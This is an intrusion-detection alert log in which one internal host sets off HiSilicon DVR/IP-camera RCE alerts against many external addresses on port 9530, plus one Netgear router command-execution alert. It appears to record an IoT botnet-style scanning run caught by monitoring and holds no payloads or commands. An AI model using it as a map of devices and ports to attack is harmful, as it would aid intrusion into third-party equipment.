05/16/24-16:39:05.717273	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42122	9530	192.168.2.23	31.135.17.166
05/16/24-16:38:53.084732	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43650	9530	192.168.2.23	4.173.234.98
05/16/24-16:38:53.084732	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43650	9530	192.168.2.23	4.173.234.98
05/16/24-16:38:50.080372	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42298	9530	192.168.2.23	114.216.236.200
05/16/24-16:38:50.080372	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42298	9530	192.168.2.23	114.216.236.200
05/16/24-16:39:02.725529	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44668	9530	192.168.2.23	161.134.5.116
05/16/24-16:39:02.725529	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44668	9530	192.168.2.23	161.134.5.116
05/16/24-16:38:50.080382	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57962	9530	192.168.2.23	87.176.132.147
05/16/24-16:39:16.585521	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55976	9530	192.168.2.23	113.69.96.153
05/16/24-16:38:50.080382	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57962	9530	192.168.2.23	87.176.132.147
05/16/24-16:39:16.585521	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55976	9530	192.168.2.23	113.69.96.153
05/16/24-16:38:50.048943	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46016	9530	192.168.2.23	96.10.39.244
05/16/24-16:38:50.048943	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46016	9530	192.168.2.23	96.10.39.244
05/16/24-16:38:50.080000	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36150	9530	192.168.2.23	125.114.153.0
05/16/24-16:38:50.068348	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51664	9530	192.168.2.23	175.11.133.46
05/16/24-16:38:50.068348	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51664	9530	192.168.2.23	175.11.133.46
05/16/24-16:38:50.080000	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36150	9530	192.168.2.23	125.114.153.0
05/16/24-16:39:14.492365	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42570	9530	192.168.2.23	126.71.138.155
05/16/24-16:39:14.492365	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42570	9530	192.168.2.23	126.71.138.155
05/16/24-16:39:09.592094	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	52664	80	192.168.2.23	13.76.248.35
05/16/24-16:38:55.193115	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57722	9530	192.168.2.23	80.171.247.43
05/16/24-16:39:12.377494	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46156	9530	192.168.2.23	111.136.148.11
05/16/24-16:38:50.075573	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45120	9530	192.168.2.23	31.211.226.9
05/16/24-16:39:05.676373	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39580	9530	192.168.2.23	76.60.149.138
05/16/24-16:38:50.075573	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45120	9530	192.168.2.23	31.211.226.9
05/16/24-16:39:12.377494	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46156	9530	192.168.2.23	111.136.148.11
05/16/24-16:38:59.520124	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58176	9530	192.168.2.23	37.222.32.199
05/16/24-16:38:59.520124	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58176	9530	192.168.2.23	37.222.32.199
05/16/24-16:39:05.676373	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39580	9530	192.168.2.23	76.60.149.138
05/16/24-16:39:12.380117	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45756	9530	192.168.2.23	144.155.212.231
05/16/24-16:39:12.380117	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45756	9530	192.168.2.23	144.155.212.231
05/16/24-16:39:03.274732	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35424	9530	192.168.2.23	97.41.38.221
05/16/24-16:39:03.274732	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35424	9530	192.168.2.23	97.41.38.221
05/16/24-16:38:59.558483	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38500	9530	192.168.2.23	212.218.71.44
05/16/24-16:39:02.762990	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46516	9530	192.168.2.23	42.92.108.175
05/16/24-16:38:53.071282	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37882	9530	192.168.2.23	120.94.223.65
05/16/24-16:39:02.762990	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46516	9530	192.168.2.23	42.92.108.175
05/16/24-16:38:59.583176	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57988	9530	192.168.2.23	167.233.148.186
05/16/24-16:38:59.583176	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57988	9530	192.168.2.23	167.233.148.186
05/16/24-16:38:53.071282	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37882	9530	192.168.2.23	120.94.223.65
05/16/24-16:38:59.558483	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38500	9530	192.168.2.23	212.218.71.44
05/16/24-16:38:59.584418	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47598	9530	192.168.2.23	58.140.226.76
05/16/24-16:39:16.614345	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54618	9530	192.168.2.23	44.153.180.44
05/16/24-16:38:59.584418	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47598	9530	192.168.2.23	58.140.226.76
05/16/24-16:39:16.614345	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54618	9530	192.168.2.23	44.153.180.44
05/16/24-16:39:14.493585	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40222	9530	192.168.2.23	110.230.253.151
05/16/24-16:39:05.693218	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34012	9530	192.168.2.23	12.150.203.242
05/16/24-16:39:05.693218	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34012	9530	192.168.2.23	12.150.203.242
05/16/24-16:39:14.507632	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51444	9530	192.168.2.23	171.222.170.131
05/16/24-16:39:14.507632	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51444	9530	192.168.2.23	171.222.170.131
05/16/24-16:39:12.304041	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41616	9530	192.168.2.23	155.92.10.188
05/16/24-16:39:16.580372	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34962	9530	192.168.2.23	152.211.69.146
05/16/24-16:38:57.437134	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37282	9530	192.168.2.23	112.91.144.111
05/16/24-16:39:14.492224	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35208	9530	192.168.2.23	183.251.95.201
05/16/24-16:39:16.580372	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34962	9530	192.168.2.23	152.211.69.146
05/16/24-16:39:14.492224	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35208	9530	192.168.2.23	183.251.95.201
05/16/24-16:38:57.437134	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37282	9530	192.168.2.23	112.91.144.111
05/16/24-16:39:12.400471	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41372	9530	192.168.2.23	89.150.233.235
05/16/24-16:39:14.529808	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49680	9530	192.168.2.23	209.132.213.42
05/16/24-16:39:12.304041	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41616	9530	192.168.2.23	155.92.10.188
05/16/24-16:39:12.400471	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41372	9530	192.168.2.23	89.150.233.235
05/16/24-16:39:14.529808	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49680	9530	192.168.2.23	209.132.213.42
05/16/24-16:39:14.493585	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40222	9530	192.168.2.23	110.230.253.151
05/16/24-16:38:57.424454	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58262	9530	192.168.2.23	196.234.19.93
05/16/24-16:38:57.424454	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58262	9530	192.168.2.23	196.234.19.93
05/16/24-16:39:03.284768	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60456	9530	192.168.2.23	25.91.201.193
05/16/24-16:39:03.284768	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60456	9530	192.168.2.23	25.91.201.193
05/16/24-16:39:12.304039	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34270	9530	192.168.2.23	220.207.50.50
05/16/24-16:39:12.304039	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34270	9530	192.168.2.23	220.207.50.50
05/16/24-16:39:08.041795	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35894	9530	192.168.2.23	104.172.223.127
05/16/24-16:39:08.041795	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35894	9530	192.168.2.23	104.172.223.127
05/16/24-16:38:57.304694	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50728	9530	192.168.2.23	151.206.109.169
05/16/24-16:38:57.304694	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50728	9530	192.168.2.23	151.206.109.169
05/16/24-16:39:02.743870	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54930	9530	192.168.2.23	42.207.233.61
05/16/24-16:39:02.743870	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54930	9530	192.168.2.23	42.207.233.61
05/16/24-16:39:12.295378	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52920	9530	192.168.2.23	172.187.251.204
05/16/24-16:38:53.094101	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44898	9530	192.168.2.23	121.121.74.148
05/16/24-16:38:53.094101	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44898	9530	192.168.2.23	121.121.74.148
05/16/24-16:39:16.578672	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48830	9530	192.168.2.23	176.203.145.80
05/16/24-16:39:16.578672	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48830	9530	192.168.2.23	176.203.145.80
05/16/24-16:39:08.035605	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59952	9530	192.168.2.23	154.200.108.88
05/16/24-16:39:08.041829	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40566	9530	192.168.2.23	75.180.74.140
05/16/24-16:39:08.035605	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59952	9530	192.168.2.23	154.200.108.88
05/16/24-16:39:08.041829	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40566	9530	192.168.2.23	75.180.74.140
05/16/24-16:38:53.011383	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44452	9530	192.168.2.23	217.7.102.196
05/16/24-16:38:53.011383	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44452	9530	192.168.2.23	217.7.102.196
05/16/24-16:38:59.587382	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49892	9530	192.168.2.23	213.42.31.224
05/16/24-16:38:59.587382	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49892	9530	192.168.2.23	213.42.31.224
05/16/24-16:39:05.702495	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55924	9530	192.168.2.23	49.71.84.97
05/16/24-16:39:14.527605	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37838	9530	192.168.2.23	162.143.51.56
05/16/24-16:39:05.702495	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55924	9530	192.168.2.23	49.71.84.97
05/16/24-16:39:14.527605	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37838	9530	192.168.2.23	162.143.51.56
05/16/24-16:39:14.509986	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42368	9530	192.168.2.23	200.250.245.52
05/16/24-16:39:12.295378	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52920	9530	192.168.2.23	172.187.251.204
05/16/24-16:39:14.509986	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42368	9530	192.168.2.23	200.250.245.52
05/16/24-16:38:57.303526	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47024	9530	192.168.2.23	156.155.69.9
05/16/24-16:39:05.702496	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33596	9530	192.168.2.23	110.77.53.73
05/16/24-16:39:05.702496	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33596	9530	192.168.2.23	110.77.53.73
05/16/24-16:39:02.762802	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44684	9530	192.168.2.23	168.22.2.43
05/16/24-16:38:57.303526	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47024	9530	192.168.2.23	156.155.69.9
05/16/24-16:39:08.044978	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52214	9530	192.168.2.23	164.123.41.60
05/16/24-16:39:08.041124	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40090	9530	192.168.2.23	193.92.201.186
05/16/24-16:39:08.041124	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40090	9530	192.168.2.23	193.92.201.186
05/16/24-16:39:08.044978	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52214	9530	192.168.2.23	164.123.41.60
05/16/24-16:38:50.047386	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50250	9530	192.168.2.23	67.27.239.117
05/16/24-16:38:50.047386	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50250	9530	192.168.2.23	67.27.239.117
05/16/24-16:38:59.519272	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55754	9530	192.168.2.23	71.187.116.114
05/16/24-16:39:05.707005	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59360	9530	192.168.2.23	111.176.41.122
05/16/24-16:39:05.707005	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59360	9530	192.168.2.23	111.176.41.122
05/16/24-16:39:12.401759	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52820	9530	192.168.2.23	135.175.28.27
05/16/24-16:39:14.517505	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47564	9530	192.168.2.23	96.86.24.218
05/16/24-16:39:12.401759	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52820	9530	192.168.2.23	135.175.28.27
05/16/24-16:39:08.146668	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39486	9530	192.168.2.23	219.181.111.82
05/16/24-16:39:08.146668	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39486	9530	192.168.2.23	219.181.111.82
05/16/24-16:39:03.281199	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32878	9530	192.168.2.23	129.20.61.253
05/16/24-16:39:03.281199	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32878	9530	192.168.2.23	129.20.61.253
05/16/24-16:39:14.517505	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47564	9530	192.168.2.23	96.86.24.218
05/16/24-16:38:53.094008	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39470	9530	192.168.2.23	59.213.249.158
05/16/24-16:38:53.094008	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39470	9530	192.168.2.23	59.213.249.158
05/16/24-16:39:02.762802	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44684	9530	192.168.2.23	168.22.2.43
05/16/24-16:39:12.301073	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35320	9530	192.168.2.23	174.218.241.220
05/16/24-16:38:59.519272	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55754	9530	192.168.2.23	71.187.116.114
05/16/24-16:39:12.301073	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35320	9530	192.168.2.23	174.218.241.220
05/16/24-16:39:05.698729	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59242	9530	192.168.2.23	117.61.121.198
05/16/24-16:39:14.529802	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51204	9530	192.168.2.23	165.44.240.138
05/16/24-16:38:55.187245	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56904	9530	192.168.2.23	78.179.85.113
05/16/24-16:38:55.187245	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56904	9530	192.168.2.23	78.179.85.113
05/16/24-16:39:05.698729	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59242	9530	192.168.2.23	117.61.121.198
05/16/24-16:39:05.706109	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57856	9530	192.168.2.23	155.17.214.0
05/16/24-16:39:05.706109	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57856	9530	192.168.2.23	155.17.214.0
05/16/24-16:39:14.529802	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51204	9530	192.168.2.23	165.44.240.138
05/16/24-16:39:14.523098	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33274	9530	192.168.2.23	126.50.104.5
05/16/24-16:39:16.602121	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35446	9530	192.168.2.23	114.169.45.2
05/16/24-16:39:14.523098	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33274	9530	192.168.2.23	126.50.104.5
05/16/24-16:39:16.602121	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35446	9530	192.168.2.23	114.169.45.2
05/16/24-16:38:53.069486	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56826	9530	192.168.2.23	40.167.171.13
05/16/24-16:38:53.069486	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56826	9530	192.168.2.23	40.167.171.13
05/16/24-16:38:57.304714	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59438	9530	192.168.2.23	131.42.221.136
05/16/24-16:39:05.706473	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51860	9530	192.168.2.23	31.113.238.230
05/16/24-16:38:57.304714	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59438	9530	192.168.2.23	131.42.221.136
05/16/24-16:39:05.706473	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51860	9530	192.168.2.23	31.113.238.230
05/16/24-16:38:55.212351	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44444	9530	192.168.2.23	195.231.40.52
05/16/24-16:39:03.283131	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58850	9530	192.168.2.23	23.62.78.88
05/16/24-16:39:03.283131	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58850	9530	192.168.2.23	23.62.78.88
05/16/24-16:39:02.749189	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43528	9530	192.168.2.23	40.34.151.119
05/16/24-16:39:03.256881	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55566	9530	192.168.2.23	14.118.29.8
05/16/24-16:39:12.298315	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56998	9530	192.168.2.23	162.188.208.72
05/16/24-16:39:02.749189	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43528	9530	192.168.2.23	40.34.151.119
05/16/24-16:39:03.256881	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55566	9530	192.168.2.23	14.118.29.8
05/16/24-16:39:05.699902	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58436	9530	192.168.2.23	111.92.75.62
05/16/24-16:39:12.298315	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56998	9530	192.168.2.23	162.188.208.72
05/16/24-16:39:05.699902	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58436	9530	192.168.2.23	111.92.75.62
05/16/24-16:39:08.041779	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43686	9530	192.168.2.23	184.234.241.31
05/16/24-16:39:16.578974	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34426	9530	192.168.2.23	153.171.248.27
05/16/24-16:38:57.413348	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33162	9530	192.168.2.23	17.10.213.81
05/16/24-16:38:57.413348	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33162	9530	192.168.2.23	17.10.213.81
05/16/24-16:39:02.747915	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53404	9530	192.168.2.23	9.98.167.36
05/16/24-16:39:02.747915	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53404	9530	192.168.2.23	9.98.167.36
05/16/24-16:39:16.578974	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34426	9530	192.168.2.23	153.171.248.27
05/16/24-16:38:53.011568	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54338	9530	192.168.2.23	17.34.93.23
05/16/24-16:38:53.011568	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54338	9530	192.168.2.23	17.34.93.23
05/16/24-16:39:08.041779	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43686	9530	192.168.2.23	184.234.241.31
05/16/24-16:39:14.507750	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37550	9530	192.168.2.23	40.236.48.116
05/16/24-16:39:14.507750	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37550	9530	192.168.2.23	40.236.48.116
05/16/24-16:39:05.699965	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36726	9530	192.168.2.23	123.203.9.216
05/16/24-16:39:05.699965	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36726	9530	192.168.2.23	123.203.9.216
05/16/24-16:38:50.063922	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32772	9530	192.168.2.23	184.75.98.82
05/16/24-16:38:50.063922	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32772	9530	192.168.2.23	184.75.98.82
05/16/24-16:39:12.384355	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34368	9530	192.168.2.23	103.180.62.135
05/16/24-16:39:16.614047	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56234	9530	192.168.2.23	169.222.250.158
05/16/24-16:39:16.614047	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56234	9530	192.168.2.23	169.222.250.158
05/16/24-16:38:53.062221	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45812	9530	192.168.2.23	97.237.110.164
05/16/24-16:38:53.062221	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45812	9530	192.168.2.23	97.237.110.164
05/16/24-16:39:12.384355	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34368	9530	192.168.2.23	103.180.62.135
